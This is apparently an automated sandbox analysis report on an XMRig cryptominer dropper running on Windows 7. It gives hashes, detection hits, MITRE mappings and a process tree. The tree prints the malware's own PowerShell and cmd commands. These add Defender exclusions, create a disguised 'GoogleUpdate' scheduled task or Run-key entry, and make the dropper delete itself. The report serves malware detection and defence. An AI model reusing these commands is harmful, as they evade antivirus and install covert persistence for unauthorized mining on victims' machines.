xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
392s
max time network
1794s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
25/01/2024, 16:55

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General

Target

grhsghsGHswgh/u3GgbfA2e32fHMHZ.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2032 created 1260	2032	u3GgbfA2e32fHMHZ.exe	11
PID 2032 created 1260	2032	u3GgbfA2e32fHMHZ.exe	11
PID 2032 created 1260	2032	u3GgbfA2e32fHMHZ.exe	11
PID 2032 created 1260	2032	u3GgbfA2e32fHMHZ.exe	11
PID 1640 created 1260	1640	updater.exe	11
PID 1640 created 1260	1640	updater.exe	11
PID 1640 created 1260	1640	updater.exe	11
PID 1640 created 1260	1640	updater.exe	11
PID 3004 created 1260	3004	conhost.exe	11
PID 1640 created 1260	1640	updater.exe	11

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral24/memory/2968-69-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral24/memory/2968-71-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral24/memory/2968-73-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral24/memory/2968-75-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral24/memory/2968-79-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral24/memory/2968-81-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral24/memory/2968-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral24/memory/2968-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral24/memory/2968-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral24/memory/2968-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral24/memory/2968-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral24/memory/2968-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral24/memory/2968-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral24/memory/2968-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral24/memory/2968-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral24/memory/2968-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral24/memory/2968-103-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral24/memory/2968-105-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral24/memory/2968-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral24/memory/2968-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral24/memory/2968-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral24/memory/2968-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral24/memory/2968-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral24/memory/2968-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral24/memory/2968-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral24/memory/2968-126-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral24/memory/2968-128-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral24/memory/2968-130-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral24/memory/2968-132-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2592	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
1640	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
672	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral24/memory/2968-64-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral24/memory/2968-69-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral24/memory/2968-71-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral24/memory/2968-73-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral24/memory/2968-75-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral24/memory/2968-79-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral24/memory/2968-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral24/memory/2968-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral24/memory/2968-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral24/memory/2968-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral24/memory/2968-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral24/memory/2968-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral24/memory/2968-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral24/memory/2968-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral24/memory/2968-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral24/memory/2968-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral24/memory/2968-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral24/memory/2968-103-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral24/memory/2968-105-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral24/memory/2968-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral24/memory/2968-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral24/memory/2968-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral24/memory/2968-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral24/memory/2968-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral24/memory/2968-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral24/memory/2968-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral24/memory/2968-126-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral24/memory/2968-128-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral24/memory/2968-130-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral24/memory/2968-132-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1640 set thread context of 3004	1640	updater.exe	48
PID 1640 set thread context of 2968	1640	updater.exe	55

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	u3GgbfA2e32fHMHZ.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2748	schtasks.exe
1632	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1372	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 0008b571b44fda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2032	u3GgbfA2e32fHMHZ.exe
2032	u3GgbfA2e32fHMHZ.exe
1352	powershell.exe
2032	u3GgbfA2e32fHMHZ.exe
2032	u3GgbfA2e32fHMHZ.exe
2708	powershell.exe
2032	u3GgbfA2e32fHMHZ.exe
2032	u3GgbfA2e32fHMHZ.exe
2032	u3GgbfA2e32fHMHZ.exe
2032	u3GgbfA2e32fHMHZ.exe
2568	powershell.exe
1640	updater.exe
1640	updater.exe
1752	powershell.exe
1640	updater.exe
1640	updater.exe
1932	powershell.exe
1640	updater.exe
1640	updater.exe
1640	updater.exe
1640	updater.exe
3004	conhost.exe
3004	conhost.exe
1640	updater.exe
1640	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	1352	powershell.exe
Token: SeDebugPrivilege	2708	powershell.exe
Token: SeDebugPrivilege	2568	powershell.exe
Token: SeDebugPrivilege	1752	powershell.exe
Token: SeDebugPrivilege	1932	powershell.exe
Token: SeDebugPrivilege	1640	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1372	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1372	WMIC.exe
Token: SeSecurityPrivilege	1372	WMIC.exe
Token: SeTakeOwnershipPrivilege	1372	WMIC.exe
Token: SeLoadDriverPrivilege	1372	WMIC.exe
Token: SeSystemtimePrivilege	1372	WMIC.exe
Token: SeBackupPrivilege	1372	WMIC.exe
Token: SeRestorePrivilege	1372	WMIC.exe
Token: SeShutdownPrivilege	1372	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1372	WMIC.exe
Token: SeUndockPrivilege	1372	WMIC.exe
Token: SeManageVolumePrivilege	1372	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1372	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1372	WMIC.exe
Token: SeSecurityPrivilege	1372	WMIC.exe
Token: SeTakeOwnershipPrivilege	1372	WMIC.exe
Token: SeLoadDriverPrivilege	1372	WMIC.exe
Token: SeSystemtimePrivilege	1372	WMIC.exe
Token: SeBackupPrivilege	1372	WMIC.exe
Token: SeRestorePrivilege	1372	WMIC.exe
Token: SeShutdownPrivilege	1372	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1372	WMIC.exe
Token: SeUndockPrivilege	1372	WMIC.exe
Token: SeManageVolumePrivilege	1372	WMIC.exe
Token: SeLockMemoryPrivilege	2968	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2708 wrote to memory of 2748	2708	powershell.exe	32
PID 2708 wrote to memory of 2748	2708	powershell.exe	32
PID 2708 wrote to memory of 2748	2708	powershell.exe	32
PID 2592 wrote to memory of 2448	2592	cmd.exe	37
PID 2592 wrote to memory of 2448	2592	cmd.exe	37
PID 2592 wrote to memory of 2448	2592	cmd.exe	37
PID 2568 wrote to memory of 580	2568	powershell.exe	38
PID 2568 wrote to memory of 580	2568	powershell.exe	38
PID 2568 wrote to memory of 580	2568	powershell.exe	38
PID 672 wrote to memory of 1640	672	taskeng.exe	40
PID 672 wrote to memory of 1640	672	taskeng.exe	40
PID 672 wrote to memory of 1640	672	taskeng.exe	40
PID 1932 wrote to memory of 1632	1932	powershell.exe	47
PID 1932 wrote to memory of 1632	1932	powershell.exe	47
PID 1932 wrote to memory of 1632	1932	powershell.exe	47
PID 1640 wrote to memory of 3004	1640	updater.exe	48
PID 1512 wrote to memory of 1372	1512	cmd.exe	53
PID 1512 wrote to memory of 1372	1512	cmd.exe	53
PID 1512 wrote to memory of 1372	1512	cmd.exe	53
PID 1640 wrote to memory of 2968	1640	updater.exe	55

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1260
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\u3GgbfA2e32fHMHZ.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\u3GgbfA2e32fHMHZ.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2032
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1352
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2708
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2748
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\u3GgbfA2e32fHMHZ.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2592
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2448
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2568
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:580
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1932
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1632
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:3004
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1576
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1512
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1372
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2968

C:\Windows\system32\taskeng.exe
taskeng.exe {6F20458A-3E46-4FF2-8F0D-F1100FE93D68} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:672
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1640

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
124KB

MD5
e6524d308509c6e908ec5852076f4d72

SHA1
8a953ab4c0bf15f0a94e3898fb8617c13ab542eb

SHA256
5f03b9cf9c9063ab565787d09205dfb813e65143edada12d532d00a6189d4045

SHA512
e5829b66b7de57002c39d5c4e0b43ffd7ae012ac38aeded911d805f091ced2537933057888e0e49a0a2f7fbbc0e74e52527a76124e05c948eedae09466914da8

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
1.8MB

MD5
77c365d46f7ab8df8466b094909ae2d9

SHA1
00a1fca362cf1786097de2b236a3e65dbca23b00

SHA256
fd24bfc4182bd33e3cb07a567605199e495f741397b9abbe0cfbae9073fdb8e3

SHA512
3c7ca9bdee5e326ad479a76c11b647fc50600cbea8775c409d769d9a49a474278ff40ca3a4e330d0c90e6ece7dcdcce94407d2439f63b50a99e0343a3fb66bc1

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
14076291b5003209adf1159c29102160

SHA1
13b91125a848acf595e63b44d22d441ba3d3524c

SHA256
8305fc6d939712c5a233986d3c527e7fd2c5270b034002409bb54b2a9c0cdacd

SHA512
b29b5b101ee048fc7337cbb4512fa64a978589ac3c46f1462cb88f4babef2514df617722603b0e20d683e1ecab8f6c1e95495ba20bc385ea5b1cb6a6de18b53a

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
324KB

MD5
9dad383b16dabaae484040cea8b4a96d

SHA1
9f3eee5fe32abd59ab7a1d298282f1880ecd859f

SHA256
734762cdaa8cd2039590b5abc22b4ceb9923140f917656d30a1bc3ccbea3476a

SHA512
1a4e85150b588834dd1431f2f21658afa41b8fc9590982cff4b54081447791a62940fbe3aecaf7f8697514926b7f39df537d8585b56f0d1f55139321f9226c0c

Download Submit
memory/1352-8-0x0000000002644000-0x0000000002647000-memory.dmp

Filesize
12KB

Download
memory/1352-7-0x000007FEF5220000-0x000007FEF5BBD000-memory.dmp

Filesize
9.6MB

Download
memory/1352-12-0x000000000264B000-0x00000000026B2000-memory.dmp

Filesize
412KB

Download
memory/1352-10-0x0000000002640000-0x00000000026C0000-memory.dmp

Filesize
512KB

Download
memory/1352-11-0x000007FEF5220000-0x000007FEF5BBD000-memory.dmp

Filesize
9.6MB

Download
memory/1352-5-0x000000001B180000-0x000000001B462000-memory.dmp

Filesize
2.9MB

Download
memory/1352-9-0x0000000002640000-0x00000000026C0000-memory.dmp

Filesize
512KB

Download
memory/1352-6-0x0000000001FE0000-0x0000000001FE8000-memory.dmp

Filesize
32KB

Download
memory/1640-63-0x000000013F250000-0x000000013F461000-memory.dmp

Filesize
2.1MB

Download
memory/1640-44-0x000000013F250000-0x000000013F461000-memory.dmp

Filesize
2.1MB

Download
memory/1752-45-0x000007FEF4880000-0x000007FEF521D000-memory.dmp

Filesize
9.6MB

Download
memory/1752-46-0x00000000008F0000-0x0000000000970000-memory.dmp

Filesize
512KB

Download
memory/1752-47-0x00000000008F0000-0x0000000000970000-memory.dmp

Filesize
512KB

Download
memory/1752-50-0x000007FEF4880000-0x000007FEF521D000-memory.dmp

Filesize
9.6MB

Download
memory/1752-48-0x000007FEF4880000-0x000007FEF521D000-memory.dmp

Filesize
9.6MB

Download
memory/1752-49-0x00000000008F0000-0x0000000000970000-memory.dmp

Filesize
512KB

Download
memory/1932-55-0x0000000001120000-0x00000000011A0000-memory.dmp

Filesize
512KB

Download
memory/1932-51-0x000007FEF5220000-0x000007FEF5BBD000-memory.dmp

Filesize
9.6MB

Download
memory/1932-52-0x0000000001120000-0x00000000011A0000-memory.dmp

Filesize
512KB

Download
memory/1932-53-0x000007FEF5220000-0x000007FEF5BBD000-memory.dmp

Filesize
9.6MB

Download
memory/1932-54-0x0000000001120000-0x00000000011A0000-memory.dmp

Filesize
512KB

Download
memory/1932-56-0x000007FEF5220000-0x000007FEF5BBD000-memory.dmp

Filesize
9.6MB

Download
memory/2032-0-0x000000013FC20000-0x000000013FE31000-memory.dmp

Filesize
2.1MB

Download
memory/2032-27-0x000000013FC20000-0x000000013FE31000-memory.dmp

Filesize
2.1MB

Download
memory/2568-34-0x000007FEF5220000-0x000007FEF5BBD000-memory.dmp

Filesize
9.6MB

Download
memory/2568-40-0x000007FEF5220000-0x000007FEF5BBD000-memory.dmp

Filesize
9.6MB

Download
memory/2568-39-0x0000000002690000-0x0000000002710000-memory.dmp

Filesize
512KB

Download
memory/2568-38-0x0000000002690000-0x0000000002710000-memory.dmp

Filesize
512KB

Download
memory/2568-37-0x0000000002690000-0x0000000002710000-memory.dmp

Filesize
512KB

Download
memory/2568-36-0x000007FEF5220000-0x000007FEF5BBD000-memory.dmp

Filesize
9.6MB

Download
memory/2568-35-0x0000000002690000-0x0000000002710000-memory.dmp

Filesize
512KB

Download
memory/2708-25-0x000007FEF4880000-0x000007FEF521D000-memory.dmp

Filesize
9.6MB

Download
memory/2708-24-0x0000000002560000-0x00000000025E0000-memory.dmp

Filesize
512KB

Download
memory/2708-23-0x0000000002560000-0x00000000025E0000-memory.dmp

Filesize
512KB

Download
memory/2708-22-0x000007FEF4880000-0x000007FEF521D000-memory.dmp

Filesize
9.6MB

Download
memory/2708-18-0x000000001B1C0000-0x000000001B4A2000-memory.dmp

Filesize
2.9MB

Download
memory/2708-20-0x00000000022D0000-0x00000000022D8000-memory.dmp

Filesize
32KB

Download
memory/2708-21-0x0000000002560000-0x00000000025E0000-memory.dmp

Filesize
512KB

Download
memory/2708-19-0x000007FEF4880000-0x000007FEF521D000-memory.dmp

Filesize
9.6MB

Download
memory/2968-76-0x0000000000B50000-0x0000000000B70000-memory.dmp

Filesize
128KB

Download
memory/2968-93-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2968-66-0x0000000000B50000-0x0000000000B70000-memory.dmp

Filesize
128KB

Download
memory/2968-67-0x0000000000C00000-0x0000000000C20000-memory.dmp

Filesize
128KB

Download
memory/2968-132-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2968-69-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2968-71-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2968-73-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2968-130-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2968-75-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2968-64-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2968-77-0x0000000000C00000-0x0000000000C20000-memory.dmp

Filesize
128KB

Download
memory/2968-79-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2968-81-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2968-83-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2968-85-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2968-87-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2968-89-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2968-91-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2968-65-0x00000000001B0000-0x00000000001D0000-memory.dmp

Filesize
128KB

Download
